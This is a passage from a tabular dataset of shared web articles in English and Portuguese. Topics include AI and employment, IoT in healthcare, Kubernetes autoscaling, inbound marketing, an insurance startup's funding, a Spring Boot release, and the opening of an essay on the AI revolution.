great-grandchildren would be video-game designers or cybersecurity specialists, he suggests. ""These are jobs that nobody in the past would have predicted."" Similarly, just as people worry about the potential impact of self-driving vehicles today, a century ago there was much concern about the impact of the switch from horses to cars, notes Mr Autor. Horse-related jobs declined, but entirely new jobs were created in the motel and fast-food industries that arose to serve motorists and truck drivers. As those industries decline, new ones will emerge. Self-driving vehicles will give people more time to consume goods and services, increasing demand elsewhere in the economy; and autonomous vehicles might greatly expand demand for products (such as food) delivered locally. Only humans need apply There will also be some new jobs created in the field of AI itself. Self-driving vehicles may need remote operators to cope with emergencies, or ride-along concierges who knock on doors and manhandle packages. Corporate chatbot and customer-service AIs will need to be built and trained and have dialogue written for them (AI firms are said to be busy hiring poets); they will have to be constantly updated and maintained, just as websites are today. And no matter how advanced artificial intelligence becomes, some jobs are always likely to be better done by humans, notably those involving empathy or social interaction. Doctors, therapists, hairdressers and personal trainers fall into that category. An analysis of the British workforce by Deloitte, a consultancy, highlighted a profound shift over the past two decades towards ""caring"" jobs: the number of nursing assistants increased by 909%, teaching assistants by 580% and careworkers by 168%. Focusing only on what is lost misses ""a central economic mechanism by which automation affects the demand for labour"", notes Mr Autor: that it raises the value of the tasks that can be done only by humans. Ultimately, he says, those worried that automation will cause mass unemployment are succumbing to what economists call the ""lump of labour"" fallacy. ""This notion that there's only a finite amount of work to do, and therefore that if you automate some of it there's less for people to do, is just totally wrong,"" he says. Those sounding warnings about technological unemployment ""basically ignore the issue of the economic response to automation"", says Mr Bessen. But couldn't this time be different? As Mr Ford points out in ""Rise of the Robots"", the impact of automation this time around is broader-based: not every industry was affected two centuries ago, but every industry uses computers today. During previous waves of automation, he argues, workers could switch from one kind of routine work to another; but this time many workers will have to switch from routine, unskilled jobs to non-routine, skilled jobs to stay ahead of automation. That makes it more important than ever to help workers acquire new skills quickly. But so far, says Mr Autor, there is ""zero evidence"" that AI is having a new and significantly different impact on employment. And while everyone worries about AI, says Mr Mokyr, far more labour is being replaced by cheap workers overseas. Another difference is that whereas the shift from agriculture to industry typically took decades, software can be deployed much more rapidly. Google can invent something like Smart Reply and have millions of people using it just a few months later. Even so, most firms tend to implement new technology more slowly, not least for non-technological reasons. Enlitic and other companies developing AI for use in medicine, for example, must grapple with complex regulations and a fragmented marketplace, particularly in America (which is why many startups are testing their technology elsewhere). It takes time for processes to change, standards to emerge and people to learn new skills. ""The distinction between invention and implementation is critical, and too often ignored,"" observes Mr Bessen. What of the worry that new, high-tech industries are less labour-intensive than earlier ones? Mr Frey cites a paper he co-wrote last year showing that only 0.5% of American workers are employed in industries that have emerged since 2000. ""Technology might create fewer and fewer jobs, while exposing a growing share of them to automation,"" he says. An oft-cited example is that of Instagram, a photo-sharing app. When it was bought by Facebook in 2012 for $1 billion, it had tens of millions of users, but only 13 employees. Kodak, which once employed 145,000 people making photographic products, went into bankruptcy at around the same time. But such comparisons are misleading, says Marc Andreessen. It was smartphones, not Instagram, that undermined Kodak, and far more people are employed by the smartphone industry and its surrounding ecosystems than ever worked for Kodak or the traditional photography industry. Is this time different? So who is right: the pessimists (many of them techie types), who say this time is different and machines really will take all the jobs, or the optimists (mostly economists and historians), who insist that in the end technology always creates more jobs than it destroys? The truth probably lies somewhere in between. AI will not cause mass unemployment, but it will speed up the existing trend of computer-related automation, disrupting labour markets just as technological change has done before, and requiring workers to learn new skills more quickly than in the past. Mr Bessen predicts a ""difficult transition"" rather than a ""sharp break with history"". But despite the wide range of views expressed, pretty much everyone agrees on the prescription: that companies and governments will need to make it easier for workers to acquire new skills and switch jobs as needed. That would provide the best defence in the event that the pessimists are right and the impact of artificial intelligence proves to be more rapid and more dramatic than the optimists expect. Read on: Implications for education and policy >>",en
1470162319,CONTENT SHARED,-908052164352446106,-2820994773540913369,1807329753509412871,,,,HTML,http://hospitalar.com/pt/portal-de-noticias/blog/81-tecnologia-e-inovacao/486-iot-a-favor-do-relacionamento-medico-paciente,IoT a favor do relacionamento médico-paciente,"IoT a favor do relacionamento médico-paciente Conceito de Internet das Coisas emergiu em meados dos anos 80 para ilustrar um futuro onde tudo se comunica. Hoje, novos recursos tecnológicos vêm aperfeiçoando a comunicação no setor e oferecendo experiências positivas a médicos e pacientes Por Flávia D'Angelo Quando surgiu, em meados dos anos 80, a comunicação entre máquinas era vista como coisa do futuro e era retratada como ficção científica em filmes como Blade Runner (1982) ou De volta para o futuro II (1989). Quem não se lembra da roupa automatizada de Marty McFly, dos carros voadores ou até mesmo dos garçons holográficos que atendiam no bar em que o personagem visitou em 2015? Embora intangível na época, nascia ali o conceito de Internet das Coisas (Internet of Things - IoT). Ali era um simples exercício de futurologia, mas o que não se previa era que a revolução estava prestes a explodir e, em poucas décadas, o impacto da internet seria tremendo. Hoje, a Internet das Coisas promove mais que uma mudança de paradigma. Em linhas gerais, ela representa a interação de objetos físicos e reais através de uma conexão de Internet e armazenamento em nuvens. Ou seja, com o uso de tecnologias de rastreamento, identificação e troca de informações esse novo padrão de comunicação é capaz de gerar uma avalanche de dados que fica armazenado e disponível ao mundo físico no chamado Big Data. Em um futuro próximo, uma imensa quantidade de informações sobre temperatura, trânsito, consumo de energia, localização, entre outros, será enviada periodicamente por todos os carros, medidores elétricos, torradeiras e celulares para a internet. A IMS Research estima que, em 2020, existirão cerca de 22 bilhões de sistemas embarcados e outros dispositivos portáteis conectados à Internet que produzirão mais de 2,5 quintilhões de bytes de dados novos a cada dia. Segundo a consultoria Gartner, entre 2014 e 2015, houve um aumento de 30% no uso de aparelhos inteligentes, alcançando 4,9 milhões de dispositivos conectados no período, e esse número deve chegar a 23,4 milhões, em 2017, e 25 bilhões, em 2020. Na área de saúde, a contribuição é ainda maior visto que o conceito de IoT engloba não só a conexão de dados em tempo real, mas também a análise e a reação com base no entendimento dos dados capturados. Por exemplo, a conexão de monitores acoplados pode permitir ao médico, por exemplo, acompanhar pacientes e até fazer prescrições de remédios com base nas informações coletadas. A tecnologia RFID, que utiliza código de barras, também permite o monitoramento de medicamentos, localização de arquivos ou movimentação de um paciente no hospital. Basicamente, é a IoT faciltando os processos, atuando a favor da saúde e aprimorando o relacionamento entre médico e paciente. Em estudo sobre os impactos da IoT no mercado de Saúde, a Deloitte aponta que a análise dos dados é fundamental para o sucesso do uso desse conceito. ""Em cinco anos, a maioria dos dados clinicamente relevantes será recolhido fora do ambiente clínico"", aponta estudo do instituto. Ainda, de acordo com o levantamento do instituto, nas próximas décadas, mudanças demográficas aumentarão as oportunidades para aplicar a IoT no apoio aos cuidados de bem-estar e saúde para segmentos específicos da população. No entanto, a Deloitte alerta: é preciso melhorar a infraestrutura e a segurança para a geração e análise desses dados. Devido à natureza distribuída, a IoT multiplica os riscos das organizações, forçando a revisão das políticas de segurança dos sistemas. De todas as indústrias, a de saúde será a mais beneficiada com a IoT. Ela permite a criação, por exemplo, de novos tratamentos, mais precisos e com uma maior riqueza de informações, já que se baseiam em informações obtidas em tempo real. Os diagnósticos passam a ser mais precisos, uma vez que o perfil do paciente é criado com registros de longa duração. Isso pode eliminar a necessidade de rotina check-ups e compromissos, mas permitirá, por outro lado, um relacionamento mais próximo com o médico. Por exemplo, um portador de Alzheimer pode se beneficiar da integração de sensores com smartphones, que rastreiam a intensidade do tremor das mãos e cruzam com o local em que o usuário se encontra. Com esses dados, o médico pode identificar os avanços da doença e o impacto que ela possui na rotina da pessoa. Tudo isso remotamente e em tempo real. Aplicativos móveis podem se conectar a dispositivos diversos para obter e relacionar dados sobre o nosso corpo em busca de insights médicos. Nossos carros, relógios e celulares passarão a serem vistos como uma fonte de registros digitais sobre a nossa vida. Camisetas com sensores para monitoramento da frequência cardíaca e temperatura, além de dispositivos em miniatura embutidos embaixo da pele do paciente para monitorar os níveis de açúcar, ou até sensores ingeríveis, que podem ser consumidos junto com o medicamento para verificar como ele age no organismo, também tendem a revolucionar e promover um relacionamento ainda mais próximo entre médico e paciente.",pt
1470163117,CONTENT SHARED,4151147085496712967,-8020832670974472349,5827576232592928332,,,,HTML,http://blog.kubernetes.io/2016/07/autoscaling-in-kubernetes.html,Kubernetes,"and start the cluster by running: The kube-up.sh script creates a cluster together with Cluster Autoscaler add-on. The autoscaler will try to add new nodes to the cluster if there are pending pods which could schedule on a new node. Let's see our cluster, it should have two nodes: NAME STATUS AGE kubernetes-master Ready,SchedulingDisabled 2m kubernetes-minion-group-de5q Ready 2m kubernetes-minion-group-yhdx Ready 1m Run & Expose PHP-Apache Server To demonstrate autoscaling we will use a custom docker image based on php-apache server. The image can be found here . It defines index.php page which performs some CPU intensive computations. First, we'll start a deployment running the image and expose it as a service: Now, we will wait some time and verify that both the deployment and the service were correctly created and are running: We may now check that php-apache server works correctly by calling wget with the service's address: Starting Horizontal Pod Autoscaler This defines a Horizontal Ppod Autoscaler that maintains between 1 and 10 replicas of the Pods controlled by the php-apache deployment we created in the first step of these instructions. Roughly speaking, the horizontal autoscaler will increase and decrease the number of replicas (via the deployment) so as to maintain an average CPU utilization across all Pods of 50% (since each pod requests 500 milli-cores by kubectl run , this means average CPU usage of 250 milli-cores). See here for more details on the algorithm. We may check the current status of autoscaler by running: NAME REFERENCE TARGET CURRENT MINPODS MAXPODS AGE php-apache Deployment/php-apache/scale 50% 0% 1 20 14s Please note that the current CPU consumption is 0% as we are not sending any requests to the server (the CURRENT column shows the average across all the pods controlled by the corresponding replication controller). Now, we will see how our autoscalers (Cluster Autoscaler and Horizontal Pod Autoscaler) react on the increased load of the server. We will start two infinite loops of queries to our server (please run them in different terminals): We need to wait a moment (about one minute) for stats to propagate. Afterwards, we will examine status of Horizontal Pod Autoscaler: NAME REFERENCE TARGET CURRENT MINPODS MAXPODS AGE php-apache Deployment/php-apache/scale 50% 310% 1 20 2m $ kubectl get deployment php-apache NAME DESIRED CURRENT UP-TO-DATE AVAILABLE AGE php-apache 7 7 7 3 4m Horizontal Pod Autoscaler has increased the number of pods in our deployment to 7. Let's now check, if all the pods are running: As we can see, some pods are pending. Let's describe one of pending pods to get the reason of the pending state: The pod is pending as there was no CPU in the system for it. We see there's a TriggeredScaleUp event connected with the pod. It means that the pod triggered reaction of Cluster Autoscaler and a new node will be added to the cluster. Now we'll wait for the reaction (about 3 minutes) and list all nodes: NAME STATUS AGE kubernetes-master Ready,SchedulingDisabled 9m kubernetes-minion-group-6z5i Ready 43s kubernetes-minion-group-de5q Ready 9m kubernetes-minion-group-yhdx Ready 9m As we see a new node kubernetes-minion-group-6z5i was added by Cluster Autoscaler. Let's verify that all pods are now running: NAME READY STATUS RESTARTS AGE php-apache-2046965998-3ewo6 1/1 Running 0 3m php-apache-2046965998-8m03k 1/1 Running 0 3m php-apache-2046965998-ddpgp 1/1 Running 0 7m php-apache-2046965998-lrik6 1/1 Running 0 3m php-apache-2046965998-nj465 1/1 Running 0 3m php-apache-2046965998-tmwg1 1/1 Running 0 3m php-apache-2046965998-xkbw1 1/1 Running 0 3m After the node addition all php-apache pods are running! Stop Load We will finish our example by stopping the user load. We'll terminate both infinite while loops sending requests to the server and verify the result state: NAME REFERENCE TARGET CURRENT MINPODS MAXPODS AGE php-apache Deployment/php-apache/scale 50% 0% 1 10 16m NAME DESIRED CURRENT UP-TO-DATE AVAILABLE AGE php-apache 1 1 1 1 14m As we see, in the presented case CPU utilization dropped to 0, and the number of replicas dropped to 1. After deleting pods most of the cluster resources are unused. Scaling the cluster down may take more time than scaling up because Cluster Autoscaler makes sure that the node is really not needed so that short periods of inactivity (due to pod upgrade etc) won't trigger node deletion (see cluster autoscaler doc ). After approximately 10-12 minutes you can verify that the number of nodes in the cluster dropped: NAME STATUS AGE kubernetes-master Ready,SchedulingDisabled 37m kubernetes-minion-group-de5q Ready 36m kubernetes-minion-group-yhdx Ready 36m The number of nodes in our cluster is now two again as node kubernetes-minion-group-6z5i was removed by Cluster Autoscaler. Other use cases As we have shown, it is very easy to dynamically adjust the number of pods to the load using a combination of Horizontal Pod Autoscaler and Cluster Autoscaler. However Cluster Autoscaler alone can also be quite helpful whenever there are irregularities in the cluster load. For example, clusters related to development or continuous integration tests can be less needed on weekends or at night. Batch processing clusters may have periods when all jobs are over and the new will only start in couple hours. Having machines that do nothing is a waste of money. In all of these cases Cluster Autoscaler can reduce the number of unused nodes and give quite significant savings because you will only pay for these nodes that you actually need to run your pods. It also makes sure that you always have enough compute power to run your tasks. -- Jerzy Szczepkowski and Marcin Wielgus, Software Engineers, Google",en
1470178415,CONTENT SHARED,-86767468210285959,8420481937548705787,-2737144072988604411,,,,HTML,https://www.linkedin.com/pulse/automa%C3%A7%C3%A3o-de-marketing-o-seu-neg%C3%B3cio-est%C3%A1-pronto-breno-spadotto,Automação de Marketing: o seu negócio está pronto?,"A automação de marketing está ai para todos? Definitivamente! Porém, a questão em jogo aqui é quando implementar . Digo isso porque automação de marketing vai muito além do ferramental (""contratei uma ferramenta boa, estou pronto!"") , e deve ser enxergada como um processo de transformação do olhar para o processo de vendas. Portanto, não existe uma pílula mágica da automação de marketing que solucionará todos os seus problemas. O que existe, sim, é preparação e planejamento . Por isso, apresento a seguir duas perguntas que você deve levar em consideração antes de contratar uma ferramenta e mergulhar de vez na automação. Pergunta 1) Como acontecem, atualmente, as suas vendas? A intenção em adotar automação de marketing é justamente tornar automático (e portanto, mais eficaz) algo que acontece hoje aos trancos e barrancos. Se a grande maioria das vendas da sua empresa aconteceram até hoje por indicação direta, ou se você não tem sequer um site/blog/canal , sinal vermelho. ""Eu tenho um site que gera visitas e até me rende alguns leads mensais"" - ótimo, e chegou a um ponto em que administrar esses leads ficou difícil? Se a resposta for sim, então você pode começar a pensar na automação. Caso, contrário, não. Por exemplo, ter 10 leads por mês não justifica colocar o esforço necessário para implementar qualquer automação que seja. Agora, se o seu problema está em administrar a quantidade de leads que tenha e nutrir eles começou a ficar complicado, avançar é uma boa ideia. Falando em avançar, em consideração fazer um breve diagnóstico com base nessas três perguntas a seguir: quantas visitas meu canal tem? quantas dessas visitas convertem em leads? quantos desses leads são de fato relevantes para o meu negócio? Para que você comece a ter volume suficiente de visitas e leads, é preciso focar na fase de atração da metodologia Inbound. Afinal, se não existem pessoas querendo consumir o seu conteúdo, não há nada a ser automatizado. Falando em conteúdo... Pergunta 2) Você tem recursos dedicados à produção de conteúdo? Parece óbvio que alguém disposto a focar em automação de marketing já se convenceu da importância de produzir conteúdo em alto volume e relevância para a audiência, certo? Parece óbvio, mas muita gente come bola aqui. Você precisará de um (ou mais) recurso focado em produzir conteúdo relevante conforme as estratégias que definiu. Tome cuidado se a sua resposta para a pergunta em negrito acima for algo parecido com ""nós temos alguns conteúdos legais para oferecer aqui"" , ou então ""eu mesmo vou escrever alguns textos e podemos usá-los"". Sinal vermelho aqui também. Volume na produção de conteúdo em Inbound é tão importante quanto a relevância. Afinal, nutrir um lead leva tempo e depende de bons conteúdos. Conteúdos, no plural ;) Para um diagnóstico rápido com o objetivo de checar se você está com a produção de conteúdo em dia, experimente levantar as seguintes questões: existe uma lista de palavras-chave que eu almejo? existe um calendário editorial de conteúdos para serem trabalhados? com qual frequência eu crio conteúdo e de que tipo? E aí, a sua empresa está preparada para adotar a automação de marketing? ;) Se você chegou até aqui e gostou do texto, eu te encorajo a recomendar, comentar e compartilhar - outras pessoas podem estar procurando por algo similar. O papo segue nos comentários ;)",pt
1470178477,CONTENT SHARED,-3663415946827459961,8420481937548705787,-2737144072988604411,,,,HTML,https://www.linkedin.com/pulse/afinal-o-que-%C3%A9-inbound-marketing-breno-spadotto,"Afinal, o que é Inbound Marketing?","Outro dia um conhecido (que não trabalha com marketing) me perguntou o que é ""esse tal de Inbound Marketing"" . Perguntas objetivas como essa são ótimas porque nos fazem lembrar de que nem todo mundo sabe do que se trata, e que muito provavelmente desconhecem essa possível solução para seus negócios. Obviamente esse texto não fará muito sentido para os que já lidam com o tema atualmente, mas é uma grande oportunidade de exercitar as explicações para aqueles que não conhecem o Inbound Marketing. Vem comigo! Primeiro, de onde vem o Inbound Marketing? Para entender o que é Inbound Marketing, é importante entender que existe algo ""oposto"" a ele. Estamos falando do Outbound Marketing. Nomes em inglês à parte, as estratégias de marketing sempre estiveram relacionadas a espalhar para todo mundo que existe um produto/serviço fantástico na praça. Funciona? Sim, claro. Mas é, em grande parte, pouco eficiente. Pouco eficiente do ponto de vista de relevância e portanto, de investimento. Gasta-se muito dinheiro não direcionado para falar com quem realmente importa. ( Fala-se hoje de uma metodologia que mescla as duas estratégias, invasiva de um lado e agregadora de outro. Porém, falaremos disso em outro momento.) Por enquanto, vamos imaginar que você tenha uma loja online focada em vender tênis de corrida. Você tem um público-alvo definido e não faria sentido oferecer tênis de corrida para qualquer pessoa que encontrasse na frente. Não só não faria sentido, como seria um gasto desnecessário de dinheiro. Afinal, porque investir dinheiro com quem não está interessado naquilo que você oferece? Adotando então o Inbound Marketing O Inbound Marketing vai ao encontro do comportamento de compra da maioria das pessoas. Basta considerar você mesmo como exemplo: o que faria se estivesse precisando de um tênis para as corridas de final de semana? Provavelmente faria diversas pesquisas relacionadas ao tema nos diferentes canais que a internet oferece. Essas pesquisas poderiam ir desde ""onde comprar um tênis de corrida"" , ""qual é o melhor tênis para corrida?"" , até ""quais os benefícios da corrida?"" . O que difere uma pesquisa da outra é o quão avançado o possível comprador está no processo de compra do tênis. Uma pessoa que deseja saber qual é o melhor tênis já está convencida dos benefícios de correr. Independente do estágio no processo de compra que a pessoa esteja, o seu negócio pode muito bem se comunicar com ela através de conteúdo relevante. Quando falamos de Inbound, colocamos da seguinte forma: Estágio ""topo de funil"": a pessoa está ainda no topo do funil de vendas, e portanto precisa de conteúdo educacional e esclarecedor, como por exemplo ""os 3 principais benefícios da corrida"" . Estágio ""meio de funil"": a pessoa está no meio do funil de vendas, e portanto já se habituou com detalhes do assunto e tem dúvidas/problemas como, por exemplo, ""qual é o tênis correto para a minha pisada?"" . Aqui a ideia é oferecer um conteúdo educacional e voltado para questões específicas relacionadas ao tema. Estágio ""final de funil"": a pessoa está no final do funil de vendas, e portanto já se interessa pelo tema, tem as suas dúvidas sanadas e descobriu que precisa de um tênis com características específicas. O papel de quem adota o processo de Inbound é conduzir para a compra, através, novamente, de informação. Entende? O seu negócio esteve presente enquanto a pessoa procurava entender melhor sobre os benefícios da corrida, e você pôde conduzir essa pessoa durante todo o processo de entender e responder às principais dúvidas até o momento final onde disse: ""by the way, tenho um tênis ideal para você"" . Importante: uma pessoa pode entrar em contato com o seu negócio e conteúdo em qualquer fase do processo de compra. Ou seja, Inbound é mais sobre o consumidor e o conteúdo que você oferece do que sobre o seu negócio tentando vender a qualquer custo, e para isso acontecer, a metodologia apresenta os seguintes passos: Atração: conquistar visitantes, através de diversos canais, com conteúdos relacionados ao interesse específico (geralmente é apresentado no formato de blog posts ou conteúdos livres para todos) . Conversão: oferecer conteúdo complementar em troca do e-mail do visitante, para considerá-la então um lead (geralmente é apresentado no formato de ebook). Fechamento: nutre-se então esse lead através de automação de e-mail com conteúdos estratégicos até que ele seja considerado pronto para a compra (isso se dá através de lead scoring, que falarei sobre em outro momento). Encantamento: fase de relacionamento que se mantém com o cliente através de diversas estratégias, como por exemplo, oferecer cupons de desconto para futuras compras, convidar para eventos que o seu negócio realizará etc. Dito tudo isso, se eu pudesse colocar o que é Inbound Marketing de maneira muito direta, diria que é uma ""nova"" forma de vender, respeitando momentos de interesse do seu futuro cliente, focando principalmente em educá-lo ao invés de adotar estratégias de venda mais invasivas (como no Outbound Marketing). Em um próximo texto, falarei sobre a estruturação de um processo de Inbound e abordarei assuntos como definição de personas e palavras-chave, criação de conteúdo para cada etapa do funil, criação de workflows para nutrição de leads, estruturação de lead scoring e outros. Se você chegou até aqui e gostou do texto, eu te encorajo a recomendar, comentar e compartilhar - outras pessoas podem estar procurando por algo similar. O papo segue nos comentários ;)",pt
1470178503,CONTENT SHARED,6987372590141903729,8420481937548705787,-2737144072988604411,,,,HTML,https://www.linkedin.com/pulse/os-seus-dados-t%C3%AAm-%C3%B3timas-hist%C3%B3rias-para-contar-e-talvez-spadotto,Os seus dados têm ótimas histórias para contar (e talvez você nem saiba),"Todos nós, enquanto indivíduos e empresas, vivenciamos a transição de uma época onde o desafio foi o acesso à informação para entender como melhor digeri-la e entregá-la. O filtro e a contextualização viraram reis! Paradoxalmente, hoje temos mais acesso à informação do que nunca e ainda parecemos perdidos e nos pegamos perguntando: ""o que fazer com tudo isso?"". Algumas empresas começaram a entender o recado - e o tamanho do desafio - decidindo então por investir em recursos para considerar, de uma vez por todas, os dados como principal aliado em tomadas de decisões estratégicas para a companhia. Mas infelizmente os dados ainda estão confinados em uma sala muito pequena se pensarmos no tremendo potencial que eles representam quando deixam de ser somente insumo para tomadas de decisão para se transformarem também em protagonistas do leque de estratégias do marketing de conteúdo. O mercado já passou por algo parecido. Quer ver só? Olhe ao redor e repare quantas empresas agora apostam em blogs, canais, portais e podcasts como parte da estratégia de marketing com um único objetivo: mudança de papel na vida dos consumidores, indo de mero anunciante para agora também publicador/orientador. É, de fato, uma ótima maneira de agregar valor e aumentar a proximidade com os consumidores/clientes, porém chegou a hora de dar o próximo passo. O desafio: transformar dados quantitativos em conteúdo de qualidade, contando ótimas histórias. Quando entendemos que o jornalismo de dados ou data-journalism é o futuro do marketing de conteúdo, fica evidente que uma das tarefas de casa das empresas é começar a trabalhar considerando os próprios dados ao invés de buscar fontes secundárias de mercado para contar suas boas histórias. Ou seja, aqueles mesmo dados que são tratados em salas onde decisões são tomadas, devem ser digeridos, trabalhados e mostrados ao mercado, como forma ganhar relevância e notoriedade no assunto. Mantendo essa linha de raciocínio, é correto afirmar que o formato está adequado: infográficos são, por natureza, mais fáceis de consumir e têm maior potencial de compartilhamento se comparados aos posts em blogs, por exemplo. Portanto, os estrategistas de marketing devem focar em como trabalhar dados, informações e aprendizados adquiridos em conteúdo relevante para seus clientes e consumidores. Existem inúmeros ganhos ao adotarmos os dados como insumo para nossos materiais de marketing de conteúdo. Quer ver só? Aumento de tráfego: pessoas consomem e compartilham conteúdo em formato de infográfico (estático, dinâmico e até colaborativo) de maneira mais fácil, leve e natural. Isso aumenta o número de pessoas sendo direcionadas para os seus pontos de contato online. Referência perante o mercado: o mercado percebe a empresa de maneira mais competitiva quando essa apresenta material único e de relevância, o que a coloca em um patamar diferente e privilegiado. Autoridade no assunto: ao convidar clientes e consumidores, principalmente no cenário B2B, a entenderem como a empresa capta, analisa e entrega dados em forma de conteúdo, as chances de haver citações, compartilhamentos e até continuações da conversa via redes sociais é grande e beneficia sempre o autor original do conteúdo. E ai, vamos libertar os dados de salas para ganharem o mundo em forma de boas histórias, que informam, encantam e emocionam? Se você chegou até aqui e gostou do texto, eu encorajo a recomendar, comentar e compartilhar - outras pessoas podem estar procurando por algo similar.",pt
1470221092,CONTENT SHARED,-8942026248671582808,5598537709124463353,8674167645302194601,,,,HTML,https://techcrunch.com/2016/08/01/clark-series-a/,German insurance startup Clark closes €13.2M Series A,"When I spoke with Jan Beckers, chairperson of fintech company builder FinLeap , earlier this year, he was particularly bullish about the insurance sector and the shake up he expects insurance brokering to receive because of new technology. That's something we are starting to see happen. Enter one of FinLeap's existing portfolio companies, Clark , which operates in the insurance space with an app to help you stay on top of your various insurance products. Today the Berlin/Frankfurt startup is announcing it's closed €13.2 million in Series A funding, made up of both equity and media-for-equity financing. FinLeap is investing ""several million Euros"" once again, while additional investors include yabeo Capital, Kulczyk Investments, HitFox, TA Ventures, Tenderloin Ventures, along with various unnamed business angels. Media investment, which I understand will mostly be in the form of TV advertising but will also include some online and print, comes from SevenVentures (the venture arm of the ProSiebenSat.1 Group), Axel Springer, and media investor GMPVC. The split between equity financing and media-for-equity financing is roughly 75 per cent to 25 per cent. (Noteworthy is that FinLeap, which itself raised €21 million in new funding this June , is backed by institutional investors from the insurance industry, including Hannover Re, the third largest worldwide reinsurer.) Calling itself an ""insurance­ robo-­advisor,"" Clark's iOS and Android apps let you manage and purchase various insurance products. Specifically, it uses algorithms to analyze your current insurance situation and automatically propose opportunities to improve your coverage or the deal you are currently on. The startup's insurance experts are also on-hand via the app to help with more bespoke insurance questions. Since the start of the year, Clark claims to have increased the volume of its managed insurance premiums five-fold, to 30 million Euros. The startup employs close to 20 people, most of whom are software developers. Competitors include Knip , Getsafe and Financefox , but Clark reckons it differs in the way it uses robo-advisors (ie a more automated approach) to assess each user's insurance situation and to send chat-messages to alert you to insurance opportunities. ""In addition, all clients have access to an in-app insurance cockpit,"" the German startup says. ""This works similar to fitness apps like runtastic or Nike running, i.e. the client can easily understand his 'insurance fitness.'""",en
1470222684,CONTENT SHARED,3134511142783292503,7645894863578715801,6368702251151891242,,,,HTML,https://spring.io/blog/2016/07/28/spring-boot-1-4-released,Spring Boot 1.4 released,"One behalf of the Spring Boot team, and everyone that has contributed, I am pleased to announce that Spring Boot 1.4.0 has been released and is available now from repo.spring.io , Maven Central and Bintray . This release adds a significant number of new features and improvements and builds on the latest release of the Spring Framework . For full upgrade instructions and ""new and noteworthy"" features please see the release notes . Here are some of the highlights of v1.4: Startup failure message Spring Boot will now perform analysis of common startup failures and provide useful diagnostic information rather than simply logging a stack trace. For example, if you have a port clash, you'll now see the following message: Convention based error pages Custom error pages for a given status code can now be created by following a convention based approach. Simply add static HTML or a template in the correct location to create a mapping. For example, to register a custom 404 page you could add src/main/resource/public/error/404.html Extended data support Spring Boot now ships with support for Neo4J , Couchbase and Redis Spring Data repositories . In addition, Hibernate 5.0 is now the default JPA provider. We've also refreshed our Elasticsearch integration to support the Jest client . Banner images You can now use image files to render ASCII art banners. Drop a banner.gif , banner.jpg or banner.png file into src/main/resources to have it automatically converted into ASCII: Test improvements Spring Boot 1.4 includes a major overhaul of testing support. Test classes and utilities are now provided in dedicated spring-boot-test and spring-boot-test-autoconfigure jars. We've added AssertJ , JSONassert and JsonPath dependencies to the test starter and provided a simpler unified @SpringBootTest annotation for use with Spring's JUnit runner. We can now also auto-configure many tests, meaning most users will require less test configuration. We've also introduced dedicated @JsonTest , @WebMvcTest , @RestClientTest and @DataJpaTest annotations that let you quickly test a ""slice"" of your application. Finally, there's also comprehensive Mockto integration. You can now easily 'mock' or 'spy' Spring Beans: Actuator The actuator /info endpoint has been improved so that you can easily contribute additional items. Out of the box we now support: Full or partial Git information generated from Maven or Gradle plugins. Build information generated from the Spring Boot Maven or Gradle plugin. Custom information from the Environment (any property starting info.* ) The /metrics endpoint has also been refined so that submissions can be ""merged"" and/or ""grouped"". Other changes There's a whole host of other changes and improvements that are documented in the Release Notes . You can also find a list of deprecated classes and methods that we plan to remove in the next version. We want to take this opportunity to again thank all our users and contributors. We've now had over 281 people submit code, and there have been over 8,500 commits to the project. If you're interested in helping out, check out the ""ideal for contribution"" tag in the issue repository. If you have general questions, please ask at stackoverflow.com using the spring-boot tag . Happy coding!",en
1470224101,CONTENT SHARED,6094778865705471594,1895326251577378793,2406098317009503681,,,,HTML,http://www.mobiletime.com.br/02/08/2016/santander-lanca-app-dedicado-aos-clientes-do-ensino-superior/451282/news.aspx,MOBILE TIME - Santander lança app dedicado aos clientes do ensino superior,"Santander lança app dedicado aos clientes do ensino superior O banco Santander lançou nesta terça-feira, 2, um aplicativo para o público do ensino superior, o Santander Universidades ( Android e iOS ), englobando não apenas alunos, mas professores, clientes e não clientes. Além da contratação do cartão de crédito Santander Fit, o app traz ainda um feed de notícias diário sobre o mundo acadêmico, incluindo disponibilidade de vagas de empregos e estágios da plataforma Universia. Para universitários, é possível pedir a carteira mundial do estudante da ISIC gratuitamente e efetuar inscrição no programa de bolsas de estudo do Santander Universidades.",pt
1470224517,CONTENT SHARED,7087600436874507849,3609194402293569455,-2345143130174579669,,,,HTML,http://www.inova.unicamp.br/inovajovem/workshop-de-design-thinking/,Workshop de Design Thinking - Unicamp,"O Workshop de Design Thinking é a primeira capacitação do Programa Inova Jovem 2016. Sob o comando de Luiz Borges, engenheiro de produto e desenvolvimento da 3M, a atividade pretende introduzir a metodologia Design Thinking e apresentar as etapas de montagem de um projeto, a fim de qualificar os alunos para a entrega das propostas durante a fase de inscrição de projetos no Inova Jovem. O evento contará com uma dinâmica. É indicado que os alunos inscritos levem materiais para auxiliar na atividade, como: papéis coloridos, tesoura, lápis, giz de cera, canetinha, fitas adesivas, tampinhas de garra, canudo, palito de sorvete, entre outros. As vagas são limitadas e a capacitação não é obrigatória para a inscrição de projetos na competição. Inscrições abertas: de 1º a 23 de agosto. Data: 27 de agosto, das 9h às 13h Local: Auditório 5 da FCM (Faculdade de Ciências Médicas) da Unicamp",pt
1470226510,CONTENT SHARED,1920899299418335515,-1393866732742189886,-6340049844569424329,,,,HTML,https://medium.com/ai-revolution/ai-revolution-101-8dce1d9cb62d,AI Revolution 101 - AI Revolution,"AI Revolution 101 Our last invention, greatest nightmare, or pathway to utopia? About This essay, originally published in eight short parts, aims to condense the current knowledge on Artificial Intelligence. It explores the state of AI development, overviews its challenges and dangers, features work by the most significant scientists, and describes the main predictions of possible AI outcomes. This project is an adaptation and major shortening of the two-part essay AI Revolution by Tim Urban of Wait But Why. I shortened it by a factor of 3, recreated all images, and tweaked it a bit. Read more on why/how I wrote it here . Introduction Assuming that human scientific activity continues without major disruptions, artificial intelligence may become either the most positive transformation of our history or, as many fear, our most dangerous invention of all. AI research is on a steady path to develop a computer that has cognitive abilities equal to the human brain, most likely within three decades (timeline in chapter 5). From what most AI scientists predict, this invention may enable very rapid improvements (called fast take-off ), toward something much more powerful - Artificial Super Intelligence - an entity smarter than all of humanity combined (more on ASI in chapter 3). We are not talking about some imaginary future. The first level of AI development is gradually appearing in the technology we use everyday (newest AI advancements in chapter 2). With every coming year these advancements will accelerate and the technology will become more complex, addictive, and ubiquitous. We will continue to outsource more and more kinds of mental work to computers, disrupting every part of our reality: the way we organize ourselves and our work, form communities, and experience the world. Exponential Growth The Guiding Principle Behind 